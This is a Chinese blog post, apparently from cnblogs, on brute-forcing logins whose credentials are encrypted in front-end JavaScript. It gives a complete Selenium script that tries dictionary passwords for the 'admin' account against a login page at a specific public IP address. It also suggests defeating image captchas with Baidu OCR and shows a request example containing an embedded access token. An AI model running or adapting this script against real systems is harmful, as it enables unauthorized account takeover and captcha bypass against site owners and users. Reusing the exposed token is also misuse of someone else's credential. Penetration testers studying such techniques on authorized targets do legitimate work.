首页 > 其他分享 >对于用户名密码前端加密的爆破

对于用户名密码前端加密的爆破

时间:2023-08-24 10:34:28浏览次数:43  
标签:webdriver 用户名 爆破 driver pass import find 加密

前言

目前越来越多的网站系统在登录接口、数据请求接口中加入各式各样的加密算法,甚至有些网站在每次请求前都动态请求加密密钥等措施,对接口渗透工作造成较大障碍,简单对登录接口暴力破解时字段被加密,如何处理加密内容进行暴破来进行一个简单思路的分享。

常规思路

前端js逆向,通过对js里的加密算法进行破解,或者是理清加密流程,然后利用自己熟知的编程语言实现同样的加密方式,写一个效果一样的加密方式,然后把代码嵌入到发包爆破代码里,这种方式字典里账号密码传入的时候,先进行加密再传给登录请求。

但这种方式遇到较为复杂的加密算法需要的成本就比较多。

Selenium模拟浏览器登陆

可以利用selenium webdriver,本地驱动一个浏览器,完全模拟浏览器的操作,实现浏览器自动登录爆破。

因为是模拟人操作浏览器真实行为,所以数据会自动在前端走一遍加密流程。

# -*- encoding: UTF-8 -*-

"""
@author: Cuerz
@time: 2023/7/15 22:11 
"""

import time
import requests
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.action_chains import ActionChains

def pass_read(file_path):
    pass_list = []
    # 打开文件并按行读取
    with open(file_path, 'r') as file:
        for line in file:
            # 去除行尾的换行符,并将每行添加到数组中
            pass_list.append(line.strip())
    return pass_list

def main():
    url = '<http://183.67.33.118:3000/webpages/login.html>'
    options = webdriver.ChromeOptions()
    # 浏览器使用静默模式
    # options.add_argument("headless")
    driver = webdriver.Chrome("./chromedriver.exe", options=options)
    driver.get(url)
    time.sleep(3)

    # 读取字典
    pass_list = pass_read('./pass.txt')
    for password in pass_list:
        # 定位元素
        find_login_box = driver.find_elements(By.XPATH,'//input')[0]
        find_pass_box = driver.find_elements(By.XPATH,'//input')[2]
        find_button = driver.find_element(by=By.XPATH, value='//div[@id="login-btn"]')
        # 清空输入框
        find_login_box.clear()
        find_pass_box.clear()
        
        find_login_box.send_keys("admin")
        find_pass_box.send_keys(password)

        time.sleep(2)
        find_button.click()

        if driver.current_url=='<http://183.67.33.118:3000/webpages/login.html>':
            print("当前密码不正确:"+ password)
        else:
            print("登录成功密码为:" + password)

    time.sleep(5)
    driver.quit()

    # pass

if __name__ == '__main__':
    main()

 

效果如下

可以通过修改chromedriver启动方式为静默模式来提高运行速率,通常花费的时间会比逆向js少。只需要定位到输入框元素位置即可,剩下来的就是比拼字典的强弱了。

其次有些可能存在图片验证码的,再加上ocr识别即可,但识别的准确率不能做到百分之百。

https://cloud.baidu.com/doc/OCR/s/Ck3h7y2ia

demo代码如下

import requests

img = ''
request_url = '<https://aip.baidubce.com/rest/2.0/ocr/v1/general?access_token=24.df7a83d543f70d935281933785ef11a2.2592000.1692065279.282335-36236602>'
ocr_headers = {'content-type': 'application/x-www-form-urlencoded'}
params = {"image": img}
response = requests.post(request_url, data=params, headers=ocr_headers)

标签:webdriver,用户名,爆破,driver,pass,import,find,加密
From: https://www.cnblogs.com/SeanGyy/p/17653518.html

相关文章

  • K8S集群中使用JD KMS服务对敏感数据安全加密
    基本概念KMS,KeyManagementService,即密钥管理服务,在K8S集群中,以驱动和插件的形式启用对Secret,Configmap进行加密。以保护敏感数据,驱动和插件需要使用者按照需求进行定制和实现自己的KMS插件,插件可以是gRPC服务器或者启用一个云服务商提供的KMS插件。本文中演示使用的KMS服务......
  • Java 实现 国密SM4/ECB/PKCS7Padding对称加密解密
    Java实现国密SM4/ECB/PKCS7Padding对称加密解密,为了演示方便本问使用的是IntelliJIDEA2022.1(CommunityEdition)来构建代码的1、pom.xml文件添加需要的jar<?xmlversion="1.0"encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"......
  • 加密编译完的html代码
    将HTML代码加密可以增加代码的安全性,但请注意,加密后的代码可能会增加加载和解析的复杂性,并且无法直接编辑和调试。以下是一些常见的方法来加密HTML代码:使用在线工具:有一些在线工具可以帮助您加密HTML代码,例如HTML加密器。这些工具通常使用特定的算法和技术来对代码进行加密和......
  • SQL注入之万能用户名
    分析代码在安装的cms数据库目录C:\phpStudy\WWW\cms\admin下找到login.action.php文件,查看第20行,发现如下php代码:$user_row=$db->getOneRow("selectuseridfromcms_userswhereusername='".$username."'andpassword='".md5($password)."&#......
  • 一个.net加密壳的挖矿木马分析
     样本md5:02B886B7B245F7CA52172F299D279A0F   问题:挖矿木马有时候可以启动,有时候起不来?WHY?逆向看看,结论:foreach(Processprocess3inProcess.GetProcesses()){if(process3.ProcessName.ToLower()=="taskmgr"||p......
  • PHP接口请求参数对策加密+
    <?php//加密publicfunctionencrypt($data){$id=json_encode($data);$str=base64_encode($id);$str=openssl_encrypt($str,'aes-128-cbc',\config('aes_passwd'),OPENSSL_ZERO_PADDING,\config('aes_iv&......
  • (2023.7.24)软件加密与解密-2-1-程序分析方法[XDbg].md
    每天一个技术点(2023.7.24)软件加密与解密-2-1-程序分析方法[XDbg]本文作者:XDbgPYG(小吧唧)发布时间:2023年7月24日内容概要:练一道题0.收集信息程序名:CrackMeDemo.tvmp.1.exe程序界面长相如下:程序内存长相如下:程序内存字符串长相如下:看样子......
  • Jmeter(二十八)加密接口测试笔记
    一、加密接口测试场景1、例如登录操作,输入账号密码,返回token,token是需要加密的2、Jmeter本身没有加解密函数工具二、加密接口和普通接口有什么区别1、发送出去的数据需要进行额外处理,接口测试工具通常不具备这个功能三、如何测试加密接口1、测试数据准备......
  • gpg加密实践
    gpg文件加密测试环境linuxubuntu1.创建秘钥root@ubuntu:~#gpg--gen-keygpg(GnuPG)1.4.20;Copyright(C)2015FreeSoftwareFoundation,Inc.Thisisfreesoftware:youarefreetochangeandredistributeit.ThereisNOWARRANTY,totheextentpermittedb......
  • 加密算法分类
    密码加密算法针对密码存储的加密算法通常会使用一些特定的哈希函数或密码学技术,以确保用户密码在存储时是安全的。bcrypt:这是一种基于Blowfish加密算法的密码哈希函数。它适用于存储密码,因为它的加密强度可以根据需要进行调整,以抵御暴力破解和彩虹表等攻击。scrypt:与bc......